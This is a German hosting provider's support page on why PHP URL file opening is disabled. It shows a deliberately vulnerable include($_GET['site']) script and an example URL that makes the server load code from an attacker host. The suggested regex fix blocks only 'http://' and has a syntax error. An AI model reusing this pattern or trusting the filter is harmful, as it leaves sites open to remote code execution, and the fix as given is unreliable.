Das Programm versucht einen URL (bspw. einen http- oder ftp-Link) als Datei zu öffnen. Aus Sicherheitsgründen ist diese Möglichkeit auf unseren Server im Standard deaktiviert.
Wir können Ihnen diese Einstellung natürlich ändern. Schreiben Sie uns dazu einfach an support@speicherhosting.com unter Angabe Ihres Account- (bspw. web123) und des Domainnnamen.
Hinweis zur Sicherheit und möglichen Gefahren:
Achtung: Diese Einstellung ist sicherheitsrelevant. Achten Sie immer auf die Aktualität Ihrer Software. Bei selbstgeschriebener Software achten Sie darauf, dass es nicht möglich ist, beliebige Dateinamen einzuschleusen. Ein Beispiel:
Sie haben ein einfaches php-Skript geschrieben, welches die Seiten anhand der Variable site per include lädt. Der Quelltext könnte ungefähr so aussehen:
<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
$site=$_GET['site']; // dies ist bei register_globals on natürlich nicht nötig
include($site);
?>
</body> |
Dieses Skript fügt also Dateien ein, deren Namen im URL übergeben wurden. Es hindert einen Angreifer aber niemand daran nun auch folgenden URL aufzurufen: http://www.ihredomain.de/index.php?site=http://www.angreifer.de/phpskript.txt.
Der Server wird nun den PHP-Code in der Textdatei ausführen, und der Angreifer kann nun weitere Programme installieren. Sie sollten also Ihr Skript darauf trimmen, derartige Dateinamen nicht zu akzeptieren. Dies könnte bspw. so aussehen:
<html>
<head><title>Meine Seite</title></head>
<body>
<a href="index.php?site=Kartoffeln">Kartoffeln</a>
<a href="index.php?site=Bohnen">Bohnen</a>
<?php
$site=$_GET['site']; // dies ist bei register_globals on natürlich nicht nötig
if(preg_match("/^http:\/\//",$site) // ^ bedeutet Anfang der Zeichenkette
die("Bitte nicht hacken"); // Skript beenden
include($site);
?>
</body> |
Das Skript prüft nun also, ob die Eingabevariable site mit http:// beginnt (es handelt sich dabei um einen regulären Ausdruck). Ist dem so, wird das Skript umgehend beendet. Hier müsste eigentlich noch ein zweiter Test auf ftp:// durchgeführt werden.